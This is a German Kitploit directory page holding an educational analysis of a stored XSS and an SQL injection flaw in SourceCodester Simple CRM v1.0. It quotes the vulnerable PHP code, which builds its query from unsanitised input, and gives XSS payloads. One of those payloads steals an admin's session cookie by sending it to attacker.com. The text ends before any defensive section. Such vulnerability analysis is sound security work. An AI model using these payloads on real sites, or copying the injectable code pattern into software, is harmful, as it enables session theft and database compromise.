Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-24203-and-CVE-2023-24204 — Bildungsanalyse von CVE-2023-24203 (Stored XSS) und CVE-2023-24204 (SQL Injection) in SourceCodester CRM, mit Ausnutzungsschritten und Abwehrstrategien. | Kitploit
Tools/GitHubGitHub/momo1239/cve-2023-24203-and-cve-2023-24204
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPapers & ForschungLernen & Bildung
GitHubmomo1239/cve-2023-24203-and-cve-2023-24204

CVE-2023-24203-and-CVE-2023-24204

Bildungsanalyse von CVE-2023-24203 (Stored XSS) und CVE-2023-24204 (SQL Injection) in SourceCodester CRM, mit Ausnutzungsschritten und Abwehrstrategien.

Repository anzeigen
25vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2023-24203-und-CVE-2023-24204

Einleitung

In der sich ständig weiterentwickelnden Landschaft der Cybersicherheit bleiben Webanwendungen ein primäres Ziel für Angreifer, die Schwachstellen ausnutzen wollen. Kürzlich wurden zwei kritische Sicherheitslücken im SourceCodester Simple Customer Relationship Management (CRM) System v1.0 entdeckt: CVE-2023-24203 und CVE-2023-24204. Diese Schwachstellen, die Cross-Site Scripting (XSS) und SQL Injection betreffen, stellen erhebliche Risiken dar, darunter die Ausführung beliebigen Codes und unbefugter Zugriff. Das Verständnis dieser Schwachstellen und ihrer Auswirkungen ist für Entwickler und Sicherheitsexperten unerlässlich, um Systeme vor potenziellen Bedrohungen zu schützen.

Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) ist eine Art von Schwachstelle, die auftritt, wenn eine Webanwendung es Benutzern erlaubt, schädliche Skripte in Webseiten einzuschleusen, die von anderen Benutzern angezeigt werden. Dies kann zu unbefugten Aktionen im Namen des Benutzers, Datendiebstahl und weiterer Ausnutzung führen. XSS-Schwachstellen können in drei Haupttypen unterteilt werden:

  1. Gespeichertes XSS: Das schädliche Skript wird dauerhaft auf dem Zielserver gespeichert, z. B. in einer Datenbank, einem Nachrichtenforum oder einem Kommentarfeld.
  2. Reflektiertes XSS: Das schädliche Skript wird von einem Webserver reflektiert, z. B. in einer Fehlermeldung, einem Suchergebnis oder einer anderen Antwort, die einen Teil oder die gesamte an den Server gesendete Eingabe enthält.
  3. DOM-basiertes XSS: Die Schwachstelle liegt im clientseitigen Code und nicht im serverseitigen Code.

SQL Injection

SQL Injection ist eine Art von Schwachstelle, die auftritt, wenn ein Angreifer in der Lage ist, SQL-Abfragen zu manipulieren, indem er beliebigen SQL-Code in eine Abfrage einschleust. Dies kann zu unbefugtem Zugriff, Datendiebstahl und anderen böswilligen Aktivitäten führen. SQL Injection tritt typischerweise aufgrund unzureichender Eingabevalidierung und fehlender parametrisierter Abfragen auf. Zu den wichtigsten Auswirkungen von SQL Injection gehören:

  1. Unbefugter Zugriff: Angreifer können Authentifizierungsmechanismen umgehen, um unbefugten Zugriff auf ein System zu erhalten.
  2. Datendiebstahl: Angreifer können vertrauliche Informationen aus der Datenbank extrahieren.
  3. Datenmanipulation: Angreifer können Daten innerhalb der Datenbank ändern, einfügen oder löschen.

In diesem Blogbeitrag werden wir uns mit CVE-2023-24203 und CVE-2023-24204 befassen, die Einzelheiten dieser Schwachstellen, ihre Angriffsvektoren, Auswirkungen und Abwehrstrategien untersuchen. Ein tiefgreifendes Verständnis dieser Schwachstellen ist entscheidend, um Ihre Anwendungen und Daten vor potenziellen Angriffen zu schützen.

Häufige Ursachen für SQL Injection in Webanwendungen

SQL-Injection-Schwachstellen sind oft das Ergebnis unzureichender Eingabevalidierung und schlechter Codierungspraktiken. Zu den häufigsten Ursachen gehören:

  1. Fehlen parametrisierter Abfragen: Die Nichtverwendung parametrisierter Abfragen ermöglicht es Angreifern, bösartigen SQL-Code in eine Abfragezeichenfolge einzuschleusen.
  2. Unzureichende Eingabevalidierung: Eine nicht ordnungsgemäße Validierung von Benutzereingaben kann zur Ausführung unbeabsichtigter SQL-Befehle führen.
  3. Dynamische SQL-Abfragen: Das dynamische Erstellen von SQL-Abfragen durch direktes Verketten von Zeichenfolgen aus Benutzereingaben kann ausnutzbare Schwachstellen erzeugen.
  4. Unzureichendes Escaping von Benutzereingaben: Das nicht ordnungsgemäße Maskieren von Sonderzeichen in Benutzereingaben kann SQL-Injection-Angriffe ermöglichen.
  5. Alter Code: Ältere Codebasen befolgen möglicherweise keine modernen Sicherheitspraktiken, was sie anfälliger für SQL Injection macht.

Häufige Ursachen für XSS in Webanwendungen

Cross-Site Scripting (XSS)-Schwachstellen werden typischerweise durch die fehlerhafte Handhabung von Benutzereingaben und -ausgaben verursacht. Häufige Ursachen sind:

  1. Unsachgemäße Ausgabekodierung: Das Versäumnis, Benutzereingaben vor der Anzeige auf Webseiten zu kodieren, kann das Einschleusen bösartiger Skripte ermöglichen.
  2. Unzureichende Eingabevalidierung: Das Nichtvalidieren oder Bereinigen von Benutzereingaben kann zur Ausführung eingeschleuster Skripte führen.
  3. Reflektierte Benutzereingaben: Das direkte Reflektieren von Benutzereingaben in Antworten ohne ordnungsgemäße Validierung oder Kodierung kann zu reflektiertem XSS führen.
  4. Gespeicherte Benutzereingaben: Das Speichern von Benutzereingaben ohne ordnungsgemäße Bereinigung kann zu gespeicherten XSS-Angriffen führen.
  5. DOM-Manipulation: Die unsichere Manipulation des Document Object Model (DOM) basierend auf Benutzereingaben kann zu DOM-basiertem XSS führen.

CVE-2023-24203: Gespeicherte XSS finden!

Zusammenfassung der Schwachstelle

CVE-2023-24203 ist eine gespeicherte Cross-Site Scripting (XSS)-Schwachstelle, die in der Komponente get-quote.php des SourceCodester Simple Customer Relationship Management (CRM) System v1.0 gefunden wurde. Diese Schwachstelle ermöglicht es einem Angreifer, bösartige Skripte in die Parameter company und query einzuschleusen, die dann in der Datenbank gespeichert und bei Ansicht durch einen Administrator ausgeführt werden, was zur Ausführung beliebigen Codes führt.

Details zur Schwachstelle

Die Schwachstelle befindet sich im Skript get-quote.php, das Benutzereingaben aus einem Angebotsanforderungsformular verarbeitet. Der PHP-Quellcode ist unten dargestellt:

<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
    $name=$_POST['name'];
    $email=$_POST['email'];
    $contact=$_POST['contact'];
    $company=$_POST['company'];
    $services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
    $other=$_POST['other'];
    $query=$_POST['query'];
    $pd=date('Y-m-d');
    mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
    echo "<script>alert('Query received. We will contact you soon.');</script>";  
    echo "<script>window.location.href='get-quote.php'</script>";
}
?>

Das Skript übernimmt Benutzereingaben aus dem Formular (Name, E-Mail, Kontakt, Unternehmen, Dienstleistungen, Sonstiges und Anfrage) und bindet sie direkt in eine SQL-Abfrage ein, um die Daten in der Datenbank zu speichern. Während die Eingabe services mit mysqli_real_escape_string und addslashes bereinigt wird, werden die Parameter company und query nicht ordnungsgemäß bereinigt oder kodiert, wenn sie in der Antwort zurückgegeben werden. Dieser Mangel an ordnungsgemäßer Bereinigung und Kodierung ermöglicht das Einschleusen und Speichern bösartiger Skripte in der Datenbank.

Ausnutzung

Um diese Schwachstelle auszunutzen, kann ein Angreifer eine Payload erstellen, die schädlichen JavaScript-Code im Parameter company oder query enthält. Wenn der Administrator die Angebotsanfrage ansieht, wird das eingeschleuste Skript in seinem Browser ausgeführt.

Beispiel-Exploit-Payload

Durch das Absenden der folgenden Payload im Parameter query:

<script>alert('XSS');</script>

Kann der Angreifer einen XSS-Angriff auslösen, wenn der Administrator die Angebotsanfrage ansieht.

Stehlen von Admin-Cookies

Eine schädlichere Payload kann erstellt werden, um die Sitzungscookies des Administrators zu stehlen. Durch die Verwendung der folgenden Payload im Parameter query:

<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>

Kann der Angreifer die Cookies des Administrators an einen von ihm kontrollierten Remote-Server senden.

Tool herunterladen